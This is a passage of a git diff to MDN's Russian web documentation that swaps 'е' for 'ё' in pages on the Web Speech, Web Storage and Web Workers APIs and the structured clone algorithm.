ограничена следующим образом:</p> +<p>Поддержка интерфейса ещё только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:</p> <ul> <li dir="ltr"> @@ -252,7 +252,7 @@ recognition.onresult = function(event) { Заголовок и форму с некоторыми простыми элементами управления.<br> Элемент <code><select> </code>изначально пуст, но заполняется с помощью <code><option></code> через JavaScript (см. ниже).</p> -<p>CSS задает простые отзывчивые стили, для корректного отображения и работы на всех устройствах</p> +<p>CSS задаёт простые отзывчивые стили, для корректного отображения и работы на всех устройствах</p> <pre><section> <h1>Синтез речи</h1> @@ -292,7 +292,7 @@ recognition.onresult = function(event) { <h4 id="Задание_переменных">Задание переменных</h4> -<p>Прежде всего, создаем ссылки на все нужные нам DOM-элементы.</p> +<p>Прежде всего, создаём ссылки на все нужные нам DOM-элементы.</p> <p dir="ltr">Входная точка API - <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/speechSynthesis">window.speechSynthesis</a></code>, возвращает экземпляр <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis">SpeechSynthesis</a></code>, интерфейс контроллера для синтеза речи в вебе.</p> @@ -308,9 +308,9 @@ let voices = [];</pre> <h4 id="Заполнение_выпадающего_списка">Заполнение выпадающего списка</h4> -<p>Чтобы заполнить элемент <code><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/select"><select></a></code> различными вариантами голоса, доступных на устройстве, напишем функцию <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/getVoices">populateVoiceList()</a></code>. Сначала мы вызываем <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/getVoices">SpeechSynthesis.getVoices()</a></code>, который возвращает список всех доступных вариантов голосов, представленных объектами <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice">SpeechSynthesisVoice</a></code>. Затем мы проходимся по списку, создавая элемент <code><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/option"><option></a></code> для каждого отдельного случая, задаем его текстовое содержимое, соответствующее названию голоса (взято из <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/name">SpeechSynthesisVoice.name</a></code>), языка голоса (из <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/lang">SpeechSynthesisVoice.lang</a></code>), и “по умолчанию”, если голос является голосом по умолчанию для механизма синтеза (проверяется, если функция <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/default">SpeechSynthesisVoice.default</a></code> возвращает значение <code>true</code>.)</p> +<p>Чтобы заполнить элемент <code><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/select"><select></a></code> различными вариантами голоса, доступных на устройстве, напишем функцию <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/getVoices">populateVoiceList()</a></code>. Сначала мы вызываем <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/getVoices">SpeechSynthesis.getVoices()</a></code>, который возвращает список всех доступных вариантов голосов, представленных объектами <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice">SpeechSynthesisVoice</a></code>. Затем мы проходимся по списку, создавая элемент <code><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/option"><option></a></code> для каждого отдельного случая, задаём его текстовое содержимое, соответствующее названию голоса (взято из <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/name">SpeechSynthesisVoice.name</a></code>), языка голоса (из <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/lang">SpeechSynthesisVoice.lang</a></code>), и “по умолчанию”, если голос является голосом по умолчанию для механизма синтеза (проверяется, если функция <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/default">SpeechSynthesisVoice.default</a></code> возвращает значение <code>true</code>.)</p> -<p>Мы также задаем <code>data-</code> атрибуты для каждого варианта, содержащие имя и язык связанного голоса, благодаря чему мы можем легко их собрать их позже, а затем вложить все варианты в качестве дочерних элементов нашего списка (<code><select></code>).</p> +<p>Мы также задаём <code>data-</code> атрибуты для каждого варианта, содержащие имя и язык связанного голоса, благодаря чему мы можем легко их собрать их позже, а затем вложить все варианты в качестве дочерних элементов нашего списка (<code><select></code>).</p> <pre>function populateVoiceList() { voices = synth.getVoices(); @@ -340,11 +340,11 @@ let voices = [];</pre> speechSynthesis.onvoiceschanged = populateVoiceList; }</pre> -<h4 id="Озвучка_введенного_текста">Озвучка введенного текста</h4> +<h4 id="Озвучка_введённого_текста">Озвучка введённого текста</h4> -<p>Затем мы создаем обработчик событий, чтобы начать “произносить” текст, введенный в текстовом поле, при нажатии на кнопку <code>Enter/Return</code> или на <code>Play</code>. Для этого используем обработчик <code><a href="https://developer.mozilla.org/ru/docs/Web/API/GlobalEventHandlers/onsubmit">onsubmit</a></code> в html-формы. В функции-обработчике <code>speak()</code> мы создаем новый экземпляр <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/SpeechSynthesisUtterance">SpeechSynthesisUtterance()</a></code>, передавая значение текстового поля в конструктор.</p> +<p>Затем мы создаём обработчик событий, чтобы начать “произносить” текст, введённый в текстовом поле, при нажатии на кнопку <code>Enter/Return</code> или на <code>Play</code>. Для этого используем обработчик <code><a href="https://developer.mozilla.org/ru/docs/Web/API/GlobalEventHandlers/onsubmit">onsubmit</a></code> в html-формы. В функции-обработчике <code>speak()</code> мы создаём новый экземпляр <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/SpeechSynthesisUtterance">SpeechSynthesisUtterance()</a></code>, передавая значение текстового поля в конструктор.</p> -<p dir="ltr">Затем нам нужно выяснить, какой голос использовать. Мы используем свойство <code><a href="https://developer.mozilla.org/ru/docs/Web/API/HTMLSelectElement">HTMLSelectElement</a></code> <code>selectedOptions</code> для получения выбранного элемента <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/option"><option></a></code>, у которого берем атрибут data-name, и находим объект <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice">SpeechSynthesisVoice</a></code>, имя которого соответствует значению имеющегося атрибута. После этого устанавливаем соответствующий “голосовой” объект как значение свойства <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/voice">SpeechSynthesisUtterance.voice</a></code>.</p> +<p dir="ltr">Затем нам нужно выяснить, какой голос использовать. Мы используем свойство <code><a href="https://developer.mozilla.org/ru/docs/Web/API/HTMLSelectElement">HTMLSelectElement</a></code> <code>selectedOptions</code> для получения выбранного элемента <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/option"><option></a></code>, у которого берём атрибут data-name, и находим объект <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice">SpeechSynthesisVoice</a></code>, имя которого соответствует значению имеющегося атрибута. После этого устанавливаем соответствующий “голосовой” объект как значение свойства <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/voice">SpeechSynthesisUtterance.voice</a></code>.</p> <p>Наконец, мы устанавливаем <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/pitch">SpeechSynthesisUtterance.pitch</a></code> (высота тона) и <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/rate">SpeechSynthesisUtterance.rate</a></code> (скорость) в соответствии со значениями соответствующих элементов формы. Затем, после всего проделанного, мы запускаем произношение речи, вызывая <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/speak">SpeechSynthesis.speak()</a></code>, и передавая ему экземпляр <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance">SpeechSynthesisUtterance</a></code> в качестве аргумента.</p> @@ -353,7 +353,7 @@ let voices = [];</pre> <p>В последней части функции мы включаем обработчик <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/onpause">SpeechSynthesisUtterance.onpause</a></code>, чтобы показать пример применения <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisEvent">SpeechSynthesisEvent</a></code> в различных ситуациях. Вызов <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/pause">SpeechSynthesis.pause() </a></code>возвращает сообщение с информацией о номере символа и слове, на котором была вызвана пауза.</p> -<p>Наконец, мы назовем <code>blur()</code> у текстового поля. Это, прежде всего, для того, чтобы скрыть клавиатуру в ОС Firefox.</p> +<p>Наконец, мы назовём <code>blur()</code> у текстового поля. Это, прежде всего, для того, чтобы скрыть клавиатуру в ОС Firefox.</p> <pre>function speak() { if (synth.speaking) { diff --git a/files/ru/web/api/web_storage_api/index.html b/files/ru/web/api/web_storage_api/index.html index e162603b6b..63f15e9736 100644 --- a/files/ru/web/api/web_storage_api/index.html +++ b/files/ru/web/api/web_storage_api/index.html @@ -14,14 +14,14 @@ translation_of: Web/API/Web_Storage_API <li><code>локальное хранилище (localStorage)</code> делает то же самое, но сохраняет данные даже в случае, если переоткрыть браузер. </li> </ul> -<p>Обе функции доступны через {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в браузерах, поддерживающих хранилища объект <code>Window</code> выполняет объекты <code>WindowLocalStorage</code> и <code>WindowSessionStorage</code>, которые содержат свойства <code>localStorage</code> и <code>sessionStorage</code>) — вызов одного из них создает представление объекта {{domxref("Storage")}}, через который можно устанавливать, редактировать и удалять данные. Для каждого из типа хранилищ и по каждому домену используется отдельное представление Storage объекта - они функционируют и управляются отдельно друг от друга. </p> +<p>Обе функции доступны через {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в браузерах, поддерживающих хранилища объект <code>Window</code> выполняет объекты <code>WindowLocalStorage</code> и <code>WindowSessionStorage</code>, которые содержат свойства <code>localStorage</code> и <code>sessionStorage</code>) — вызов одного из них создаёт представление объекта {{domxref("Storage")}}, через который можно устанавливать, редактировать и удалять данные. Для каждого из типа хранилищ и по каждому домену используется отдельное представление Storage объекта - они функционируют и управляются отдельно друг от друга. </p> <div class="note"> -<p><strong>Замечание: </strong>Начиная с версии 45 Firefox, когда браузер прекращает работу/перезагружается, объем данных, сохраненных для каждого источника, ограничивается 10 МБ. Это было сделано, чтобы избежать проблем с памятью, вызванных чрезмерным использованием веб-хранилища.</p> +<p><strong>Замечание: </strong>Начиная с версии 45 Firefox, когда браузер прекращает работу/перезагружается, объем данных, сохранённых для каждого источника, ограничивается 10 МБ. Это было сделано, чтобы избежать проблем с памятью, вызванных чрезмерным использованием веб-хранилища.</p> </div> <div class="note"> -<p><strong>Замечание: </strong>Доступ к веб хранилищу из iFrame третьей стороны запрещен, если пользователь <a href="https://support.mozilla.org/ru/kb/disable-third-party-cookies">отключил cookies третьих сторон</a> (Firefox ведёт себя так с <a href="https://developer.mozilla.org/ru/docs/Mozilla/Firefox/Releases/43">версии 43</a>).</p> +<p><strong>Замечание: </strong>Доступ к веб хранилищу из iFrame третьей стороны запрещён, если пользователь <a href="https://support.mozilla.org/ru/kb/disable-third-party-cookies">отключил cookies третьих сторон</a> (Firefox ведёт себя так с <a href="https://developer.mozilla.org/ru/docs/Mozilla/Firefox/Releases/43">версии 43</a>).</p> </div> <div class="note"> @@ -41,7 +41,7 @@ translation_of: Web/API/Web_Storage_API <h2 id="Примеры">Примеры</h2> -<p>Чтобы проиллюстрировать типичное использование веб хранилища, мы создали простейший пример и назвали его <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">Web Storage Demo</a>. На <a href="https://mdn.github.io/dom-examples/web-storage/">лендинге</a> нашего примера вы найдете элементы управления для изменения фонового цвета, шрифта и изображения. Когда вы выбираете разные опции, страница мгновенно меняется. В дополнение, ваш выбор сохраняется в локальном хранилище, чтобы, если вы покинете страницу и потом загрузите ее снова, ваши настройки восстановились. </p> +<p>Чтобы проиллюстрировать типичное использование веб хранилища, мы создали простейший пример и назвали его <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">Web Storage Demo</a>. На <a href="https://mdn.github.io/dom-examples/web-storage/">лендинге</a> нашего примера вы найдёте элементы управления для изменения фонового цвета, шрифта и изображения. Когда вы выбираете разные опции, страница мгновенно меняется. В дополнение, ваш выбор сохраняется в локальном хранилище, чтобы, если вы покинете страницу и потом загрузите её снова, ваши настройки восстановились. </p> <p>Также, мы сделали <a href="http://mdn.github.io/dom-examples/web-storage/event.html">страницу вывода событий</a>, которая выводит информацию о хранилище, каждый раз когда срабатывает событие {{domxref("StorageEvent")}}. Загрузите эту страницу в другой вкладке браузера, затем вернитесь на лендинг и поменяйте значения цвета, шрифта или изображения и понаблюдайте, как меняется выводимая информация.</p> @@ -120,7 +120,7 @@ translation_of: Web/API/Web_Storage_API </table> </div> -<p>У каждого браузера свои объемы localStorage и sessionStorage. Здесь об <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">ограничениях размеров хранилищ для разных браузеров</a>.</p> +<p>У каждого браузера свои объёмы localStorage и sessionStorage. Здесь об <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">ограничениях размеров хранилищ для разных браузеров</a>.</p> <div class="note"> <p><strong>Замечание: </strong> Начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в cache директории, которая время от времени подчищается системой, в основном когда кончается место.</p> @@ -128,11 +128,11 @@ translation_of: Web/API/Web_Storage_API <h2 id="Приватный_режимИнкогнито">Приватный режим/Инкогнито</h2> -<p>Многие браузеры в наши дни поддерживают опции приватности, названные "Инкогнито" или "Приватный просмотр" и т.п., что позволяет быть уверенными, что следов приватной сессии не остается после закрытия браузера. Это фундаментальная несовместимость с Веб хранилищем по очевидным причинам. Таким образом, производители браузеров экспериментируют с различными сценариями, как справиться с этой несовместимостью.</p> +<p>Многие браузеры в наши дни поддерживают опции приватности, названные "Инкогнито" или "Приватный просмотр" и т.п., что позволяет быть уверенными, что следов приватной сессии не остаётся после закрытия браузера. Это фундаментальная несовместимость с Веб хранилищем по очевидным причинам. Таким образом, производители браузеров экспериментируют с различными сценариями, как справиться с этой несовместимостью.</p> <p>Многие браузеры выбрали стратегию, когда API хранилища доступно и кажется полностью функциональным, с одним большим отличием - все данные хранилища стираются после закрытия браузера. Для этих браузеров есть ещё другие интерпретации того, что следует делать с хранимыми данными (от обычного режима браузера). Следует ли им быть доступными в приватном режиме? Затем, есть несколько браузеров, особенно Safari, которые выбрали решение, в котором хранилище доступно, но пустое и имеет квоту 0 байт, фактически, делая невозможной запись туда данных.</p> -<p>Разработчики должны быть осведомлены об этих различных реализациях и принимать их во внимание при разработке веб-сайтов, зависящих от API Веб хранилища. Для получения более подробной информации, пожалуйста, посмотрите на <a href="https://blog.whatwg.org/tag/localstorage">этот пост блога WHATWG</a>, специально посвященный этой теме.</p> +<p>Разработчики должны быть осведомлены об этих различных реализациях и принимать их во внимание при разработке веб-сайтов, зависящих от API Веб хранилища. Для получения более подробной информации, пожалуйста, посмотрите на <a href="https://blog.whatwg.org/tag/localstorage">этот пост блога WHATWG</a>, специально посвящённый этой теме.</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html b/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html index 2048019f7c..882f40200d 100644 --- a/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html +++ b/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html @@ -23,7 +23,7 @@ localStorage.setItem('colorSetting', '#a4509b'); <li><code>(localStorage)</code> делает то же самое, но сохраняет данные даже в случае, если переоткрыть браузер. </li> </ul> -<p>Оба механизма доступны через {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в броузерах, поддерживающих хранилища объект <code>Window</code> выполняет объекты <code>WindowLocalStorage</code>и <code>WindowSessionStorage</code>, которые содержат свойства <code>localStorage</code>и <code>sessionStorage</code>) — вызов одного из них создает экземпляр объекта Storage, через который можно устанавливать, редактировать и удалять данные. Разные Storage объекты будут использовать <code>sessionStorage</code> и <code>localStorage поэтому они используются и управляются раздельно </code></p> +<p>Оба механизма доступны через {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в броузерах, поддерживающих хранилища объект <code>Window</code> выполняет объекты <code>WindowLocalStorage</code>и <code>WindowSessionStorage</code>, которые содержат свойства <code>localStorage</code>и <code>sessionStorage</code>) — вызов одного из них создаёт экземпляр объекта Storage, через который можно устанавливать, редактировать и удалять данные. Разные Storage объекты будут использовать <code>sessionStorage</code> и <code>localStorage поэтому они используются и управляются раздельно </code></p> <p>Так, например, изначально вызов <code>localStorage</code> в документе возвращает {{domxref("Storage")}} объект; вызов <code>sessionStorage</code> в документе возвращает другой {{domxref("Storage")}} объект. Оба объекта могут управляться одинаково, но отдельно.</p> @@ -33,7 +33,7 @@ localStorage.setItem('colorSetting', '#a4509b'); <h3 id="Проверка_на_наличие">Проверка на наличие</h3> -<p>Браузеры поддерживаемые localStorage будут иметь свойство localStorage объекта window. Тем не менее по различным причинам, простое утверждение, что это свойство существует, может вызывать исключение. Если localStorage существует это еще не дает гарантии, что оно доступно, т.к. различные броузеры обладают настройками которые отключают его. Поэтому браузер может поддерживать localStorage, но не делает его доступным для скриптов на странице. Один из таких примеров браузер Safari, который в Private Browsing mode возвращает нам пустой localStorage объект, фактически делая его непригодным для использования . Наша функция должна принимать во внимание этот сценарий. </p> +<p>Браузеры поддерживаемые localStorage будут иметь свойство localStorage объекта window. Тем не менее по различным причинам, простое утверждение, что это свойство существует, может вызывать исключение. Если localStorage существует это ещё не даёт гарантии, что оно доступно, т.к. различные броузеры обладают настройками которые отключают его. Поэтому браузер может поддерживать localStorage, но не делает его доступным для скриптов на странице. Один из таких примеров браузер Safari, который в Private Browsing mode возвращает нам пустой localStorage объект, фактически делая его непригодным для использования . Наша функция должна принимать во внимание этот сценарий. </p> <p>Функция, которая проверяет браузеры на поддержку и доступность localStorage:</p> @@ -65,19 +65,19 @@ else { <p>Чтобы проиллюстрировать типичное использование Web storage, мы создали простой пример, назвав его <strong>Web Storage Demo. </strong>На <a href="https://mdn.github.io/dom-examples/web-storage/">целевой странице</a> представлены элементы управления, которые можно использовать для настройки цвета, шрифта и декоративного изображения:</p> -<p><img alt="" src="https://mdn.mozillademos.org/files/9685/landing.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;">Когда вы выбираете различные опции, страница немедленно перезагружается; в дополнение, ваш выбор сохраняется в localStorage, таким образом когда вы покидаете страницу и загружаете ее снова спустя некоторое время, ваши параметры сохраняются.</p> +<p><img alt="" src="https://mdn.mozillademos.org/files/9685/landing.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;">Когда вы выбираете различные опции, страница немедленно перезагружается; в дополнение, ваш выбор сохраняется в localStorage, таким образом когда вы покидаете страницу и загружаете её снова спустя некоторое время, ваши параметры сохраняются.</p> -<p>Мы также предоставили <a href="https://mdn.github.io/dom-examples/web-storage/event.html">страницу вывода событий</a> - если вы загрузите эту страницу в другой вкладке, затем сделаете некоторые изменения в landing page, вы увидите обновленную информацию о хранилище.</p> +<p>Мы также предоставили <a href="https://mdn.github.io/dom-examples/web-storage/event.html">страницу вывода событий</a> - если вы загрузите эту страницу в другой вкладке, затем сделаете некоторые изменения в landing page, вы увидите обновлённую информацию о хранилище.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/9687/event-output.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;"></p> <div class="note"> -<p><strong>Примечание</strong>: Помимо просмотра примеров выше, используя приведенные ссылки выше , вы можете также <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">просмотреть исходный код</a>.</p> +<p><strong>Примечание</strong>: Помимо просмотра примеров выше, используя приведённые ссылки выше , вы можете также <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">просмотреть исходный код</a>.</p> </div> <h2 id="Проверка_на_заполненность_хранилища">Проверка на заполненность хранилища</h2> -<p>Начнем с main.js, мы проверим был ли уже заполнен объект Storage (т.е страница была ранее доступна)</p> +<p>Начнём с main.js, мы проверим был ли уже заполнен объект Storage (т.е страница была ранее доступна)</p> <pre class="brush: js notranslate">if(!localStorage.getItem('bgcolor')) { populateStorage(); @@ -86,7 +86,7 @@ else { } </pre> -<p>Метод {{domxref("Storage.getItem()")}} используется для получения данных из storage; в этом примере мы проверяем, чтобы увидеть существует ли bgcolor; если нет, мы запускаем <code>populateStorage(), чтобы добавить значение по умолчанию в storage. Если значения уже есть там, мы запускаем setStyles(), для обновления стиля страница с сохраненными значениями.</code><br> +<p>Метод {{domxref("Storage.getItem()")}} используется для получения данных из storage; в этом примере мы проверяем, чтобы увидеть существует ли bgcolor; если нет, мы запускаем <code>populateStorage(), чтобы добавить значение по умолчанию в storage. Если значения уже есть там, мы запускаем setStyles(), для обновления стиля страница с сохранёнными значениями.</code><br> <strong>Примечание</strong>: Вы можете также использовать {{domxref("Storage.length")}} для проверки storage object.</p> <h2 id="Получение_данных_из_Storage">Получение данных из Storage</h2> @@ -147,7 +147,7 @@ imageForm.onchange = populateStorage;</pre> <h2 id="Удаление_записанных_данных">Удаление записанных данных</h2> -<p>Web Storage также предоставляет несколько простых методов для удаления данных. Мы не используем эти методы в нашем дема, но они очень простые, чтобы добавить их в проект:</p> +<p>Web Storage также предоставляет несколько простых методов для удаления данных. Мы не используем эти методы в нашем дёма, но они очень простые, чтобы добавить их в проект:</p> <ul> <li>{{domxref("Storage.removeItem()")}} принимает единственный аргумент - ключ элемента данных, который вы хотите удалить - и удаляет его из объекта хранения для этого домена. </li> diff --git a/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html b/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html index e53a1144ba..c6e9737833 100644 --- a/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html +++ b/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html @@ -3,7 +3,7 @@ title: Алгоритм структурированного клонирова slug: Web/API/Web_Workers_API/Structured_clone_algorithm translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm --- -<p>Алгоритм структурированного клонирования — это новый алгоритм, <a class="external" href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#safe-passing-of-structured-data" title="http://www.w3.org/TR/html5/common-dom-interfaces.html#safe-passing-of-structured-data">определенный спецификацией HTML5</a> для сериализации комплексных JavaScript объектов. Он более функционален, чем <a href="/en/JSON" title="en/JSON">JSON</a> в том что способен поддерживать сериализацию объектов содержащих циклические графы — первичные объекты, которые ссылаются на другие объекты у которых есть ссылка на первичные объекты в том же графе. В дополнение, в некоторых других случаях алгоритм структурированного клонирования может быть более эффективен, чем JSON.</p> +<p>Алгоритм структурированного клонирования — это новый алгоритм, <a class="external" href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#safe-passing-of-structured-data" title="http://www.w3.org/TR/html5/common-dom-interfaces.html#safe-passing-of-structured-data">определённый спецификацией HTML5</a> для сериализации комплексных JavaScript объектов. Он более функционален, чем <a href="/en/JSON" title="en/JSON">JSON</a> в том что способен поддерживать сериализацию объектов содержащих циклические графы — первичные объекты, которые ссылаются на другие объекты у которых есть ссылка на первичные объекты в том же графе. В дополнение, в некоторых других случаях алгоритм структурированного клонирования может быть более эффективен, чем JSON.</p> <p>Алгоритм, по существу, перебирает все поля оригинального объекта, дублируя значения каждого поля в новый объект. Если поле представляет из себя объект с собственными полями, то эти дочерние поля также перебираются рекурсивно, пока каждое поле и все дочерние поля не будут продублированы в новый объект.</p> @@ -107,7 +107,7 @@ translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm <h2 id="Другой_вариант_вложенное_копирование">Другой вариант: вложенное копирование</h2> -<p>Если вы хотите сделать вложенную копию объекта (т.е рекурсивно копировать все вложенные свойства, проходя по прототипной цепи), вы должны использовать другой подход. Ниже приведен возможный пример.</p> +<p>Если вы хотите сделать вложенную копию объекта (т.е рекурсивно копировать все вложенные свойства, проходя по прототипной цепи), вы должны использовать другой подход. Ниже приведён возможный пример.</p> <pre class="brush: js">function clone(objectToBeCloned) { // Basis. @@ -142,7 +142,7 @@ translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm <div class="note"><strong> Note:</strong> Этот алгоритм реализован только для <a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="RegExp"><code>RegExp</code></a>, <a href="/en/JavaScript/Reference/Global_Objects/Array" title="Array"><code>Array</code></a>, и <a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date"><code>Date</code></a> специальных объектов. Вы можете реализовать другие условия, удовлетворяющие вашим потребностям.</div> -<h2 id="Еще_по_теме">Еще по теме</h2> +<h2 id="Ещё_по_теме">Ещё по теме</h2> <ul> <li><a class="external" href="http://www.w3.org/TR/html5/infrastructure.html#safe-passing-of-structured-data" title="http://www.w3.org/TR/html5/common-dom-interfaces.html#safe-passing-of-structured-data">HTML5 Specification: Safe passing of structured data</a></li> diff --git a/files/ru/web/api/web_workers_api/using_web_workers/index.html b/files/ru/web/api/web_workers_api/using_web_workers/index.html index 9767a15c43..e54339bd17 100644 --- a/files/ru/web/api/web_workers_api/using_web_workers/index.html +++ b/files/ru/web/api/web_workers_api/using_web_workers/index.html @@ -9,11 +9,11 @@ original_slug: DOM/Using_web_workers --- <div>{{DefaultAPISidebar("Web Workers API")}}</div> -<p>Web Worker-ы предоставляют простое средство для запуска скриптов в фоновом потоке. Поток Worker'а может выполнять задачи без вмешательства в пользовательский интерфейс. К тому же, они могут осуществлять ввод/вывод, используя <code><a class="internal" href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest">XMLHttpRequest</a></code> (хотя атрибуты <code>responseXML</code> и <code>channel</code> всегда будут равны null). Существующий Worker может отсылать сообщения JavaScript коду-создателю через обработчик событий, указанный этим кодом (и наоборот). Эта статья дает детальную инструкцию по использованию Web Workers.</p> +<p>Web Worker-ы предоставляют простое средство для запуска скриптов в фоновом потоке. Поток Worker'а может выполнять задачи без вмешательства в пользовательский интерфейс. К тому же, они могут осуществлять ввод/вывод, используя <code><a class="internal" href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest">XMLHttpRequest</a></code> (хотя атрибуты <code>responseXML</code> и <code>channel</code> всегда будут равны null). Существующий Worker может отсылать сообщения JavaScript коду-создателю через обработчик событий, указанный этим кодом (и наоборот). Эта статья даёт детальную инструкцию по использованию Web Workers.</p> <h2 id="Web_Workers_API">Web Workers API</h2> -<p>Worker - это объект, создаваемый конструктором (например, {{domxref("Worker.Worker", "Worker()")}}) и запускающий именной JavaScript файл — этот файл содержит код, который будет выполнен в потоке Worker'а; объекты же Workers запускаются в другом глобальном контексте, отличающемся от текущего, - {{domxref("window")}}. Поэтому использование переменной {{domxref("window")}} для получения текущего глобального контекста (вместо {{domxref("window.self","self")}}) внутри {{domxref("Worker")}} вернет ошибку.</p> +<p>Worker - это объект, создаваемый конструктором (например, {{domxref("Worker.Worker", "Worker()")}}) и запускающий именной JavaScript файл — этот файл содержит код, который будет выполнен в потоке Worker'а; объекты же Workers запускаются в другом глобальном контексте, отличающемся от текущего, - {{domxref("window")}}. Поэтому использование переменной {{domxref("window")}} для получения текущего глобального контекста (вместо {{domxref("window.self","self")}}) внутри {{domxref("Worker")}} вернёт ошибку.</p> <p>Контекст Worker'а представлен объектом {{domxref("DedicatedWorkerGlobalScope")}} в случае выделенных Workers (обычные Workers используются одним скриптом; совместные Workers используют объект {{domxref("SharedWorkerGlobalScope")}}). Выделенный Worker доступен только из скрипта-родителя, в то время как совместные Workers могут быть доступны из нескольких сценариев.</p> @@ -29,7 +29,7 @@ original_slug: DOM/Using_web_workers <h2 id="Выделенные_Workers">Выделенные Workers</h2> -<p>Как уже упоминалось выше, выделенный Worker доступен только для скрипта, который его вызвал. В этом разделе речь пойдет о JavaScript, который можно найти в нашем <a class="external external-icon" href="https://github.com/mdn/simple-web-worker">основном примере выделенного Worker</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">запустить скрипт</a>): этот пример позволяет ввести два числа для умножения. Эти числа отправляются в Worker, перемножаются, а результат возвращается на страницу и отображается.</p> +<p>Как уже упоминалось выше, выделенный Worker доступен только для скрипта, который его вызвал. В этом разделе речь пойдёт о JavaScript, который можно найти в нашем <a class="external external-icon" href="https://github.com/mdn/simple-web-worker">основном примере выделенного Worker</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">запустить скрипт</a>): этот пример позволяет ввести два числа для умножения. Эти числа отправляются в Worker, перемножаются, а результат возвращается на страницу и отображается.</p> <p>Этот пример достаточно тривиален, но для ознакомления с базовыми концепциями worker-ов мы решили его упростить. Более продвинутые детали описаны далее в статье.</p> @@ -66,7 +66,7 @@ second.onchange = function() { console.log('Message posted to worker'); }</pre> -<p>В приведенном фрагменте кода мы имеем два {{htmlelement("input")}} элемента, представленных переменными <code>first</code> и <code>second</code>; когда значение любой из переменных изменяется,<code> myWorker.postMessage([first.value,second.value])</code> используется для отправки обоих значений, представленных в виде массива, в worker. Посредством аргумента <code>message</code> возможна передача практически любых данных в worker.</p> +<p>В приведённом фрагменте кода мы имеем два {{htmlelement("input")}} элемента, представленных переменными <code>first</code> и <code>second</code>; когда значение любой из переменных изменяется,<code> myWorker.postMessage([first.value,second.value])</code> используется для отправки обоих значений, представленных в виде массива, в worker. Посредством аргумента <code>message</code> возможна передача практически любых данных в worker.</p> <p>Внутри worker-a мы можем обрабатывать сообщения и отвечать на них при помощи добавления обработчика события <code>onmessage</code> подобным образом (<a 